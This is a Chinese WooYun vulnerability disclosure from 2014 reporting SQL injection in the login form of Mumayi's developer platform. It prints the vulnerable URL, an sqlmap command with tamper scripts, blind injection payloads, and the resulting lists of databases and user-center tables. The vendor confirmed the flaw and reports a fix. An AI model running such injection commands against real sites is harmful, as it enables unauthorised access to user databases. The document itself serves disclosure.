当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087024

漏洞标题:木蚂蚁某平台某处SQL注入(危害很大)

相关厂商:mumayi.com

漏洞作者: 玉林嘎

提交时间:2014-12-13 15:52

修复时间:2015-01-27 15:54

公开时间:2015-01-27 15:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-13: 细节已通知厂商并且等待厂商处理中
2014-12-13: 厂商已经确认,细节仅向厂商公开
2014-12-23: 细节向核心白帽子及相关领域专家公开
2015-01-02: 细节向普通白帽子公开
2015-01-12: 细节向实习白帽子公开
2015-01-27: 细节向公众公开

简要描述:

rt

详细说明:

http://dev.mumayi.com/
木蚂蚁开发者平台 登陆框存在注入
关联到 用户库中
http://dev.mumayi.com/index/login?username=test&password=test&logintype=0
登陆以GET形式提交
sqlmap -u "http://dev.mumayi.com/index/login?username=test&password=test&logintype=0" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=test') AND 1873=1873 AND ('HhzZ'='HhzZ&password=test&logintype=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=test') AND SLEEP(5) AND ('sLtP'='sLtP&password=test&logintype=0
---
[15:36:50] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:36:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11


--dbs

15:37:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[15:37:17] [INFO] fetching database names
[15:37:17] [INFO] fetching number of databases
[15:37:17] [INFO] resumed: 4
[15:37:17] [INFO] resumed: information_schema
[15:37:17] [INFO] resumed: oauth
[15:37:17] [INFO] resumed: test
[15:37:17] [INFO] resumed: uc_mumayi
available databases [4]:
[*] information_schema
[*] oauth
[*] test
[*] uc_mumayi


-D uc_mumayi --tables

Database: uc_mumayi
[34 tables]
+-------------------------+
| cdb_uc_admins |
| cdb_uc_applications |
| cdb_uc_badwords |
| cdb_uc_domains |
| cdb_uc_failedlogins |
| cdb_uc_feeds |
| cdb_uc_friends |
| cdb_uc_jihuopass |
| cdb_uc_mailqueue |
| cdb_uc_memberfields |
| cdb_uc_members |
| cdb_uc_mergemembers |
| cdb_uc_newpm |
| cdb_uc_notelist |
| cdb_uc_pm_indexes |
| cdb_uc_pm_lists |
| cdb_uc_pm_members |
| cdb_uc_pm_messages_0 |
| cdb_uc_pm_messages_1 |
| cdb_uc_pm_messages_2 |
| cdb_uc_pm_messages_3 |
| cdb_uc_pm_messages_4 |
| cdb_uc_pm_messages_5 |
| cdb_uc_pm_messages_6 |
| cdb_uc_pm_messages_7 |
| cdb_uc_pm_messages_8 |
| cdb_uc_pm_messages_9 |
| cdb_uc_pms |
| cdb_uc_protectedmembers |
| cdb_uc_settings |
| cdb_uc_sqlcache |
| cdb_uc_tags |
| cdb_uc_vars |
| user4 |
+-------------------------+

漏洞证明:

http://dev.mumayi.com/
木蚂蚁开发者平台 登陆框存在注入
关联到 用户库中
http://dev.mumayi.com/index/login?username=test&password=test&logintype=0
登陆以GET形式提交
sqlmap -u "http://dev.mumayi.com/index/login?username=test&password=test&logintype=0" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=test') AND 1873=1873 AND ('HhzZ'='HhzZ&password=test&logintype=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=test') AND SLEEP(5) AND ('sLtP'='sLtP&password=test&logintype=0
---
[15:36:50] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:36:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11


--dbs

15:37:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[15:37:17] [INFO] fetching database names
[15:37:17] [INFO] fetching number of databases
[15:37:17] [INFO] resumed: 4
[15:37:17] [INFO] resumed: information_schema
[15:37:17] [INFO] resumed: oauth
[15:37:17] [INFO] resumed: test
[15:37:17] [INFO] resumed: uc_mumayi
available databases [4]:
[*] information_schema
[*] oauth
[*] test
[*] uc_mumayi


-D uc_mumayi --tables

Database: uc_mumayi
[34 tables]
+-------------------------+
| cdb_uc_admins |
| cdb_uc_applications |
| cdb_uc_badwords |
| cdb_uc_domains |
| cdb_uc_failedlogins |
| cdb_uc_feeds |
| cdb_uc_friends |
| cdb_uc_jihuopass |
| cdb_uc_mailqueue |
| cdb_uc_memberfields |
| cdb_uc_members |
| cdb_uc_mergemembers |
| cdb_uc_newpm |
| cdb_uc_notelist |
| cdb_uc_pm_indexes |
| cdb_uc_pm_lists |
| cdb_uc_pm_members |
| cdb_uc_pm_messages_0 |
| cdb_uc_pm_messages_1 |
| cdb_uc_pm_messages_2 |
| cdb_uc_pm_messages_3 |
| cdb_uc_pm_messages_4 |
| cdb_uc_pm_messages_5 |
| cdb_uc_pm_messages_6 |
| cdb_uc_pm_messages_7 |
| cdb_uc_pm_messages_8 |
| cdb_uc_pm_messages_9 |
| cdb_uc_pms |
| cdb_uc_protectedmembers |
| cdb_uc_settings |
| cdb_uc_sqlcache |
| cdb_uc_tags |
| cdb_uc_vars |
| user4 |
+-------------------------+

修复方案:

你们很多登陆一类都存在注入

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-12-13 16:04

厂商回复:

技术已经在处理,感谢

最新状态:

2014-12-15:已经修复了 感谢提醒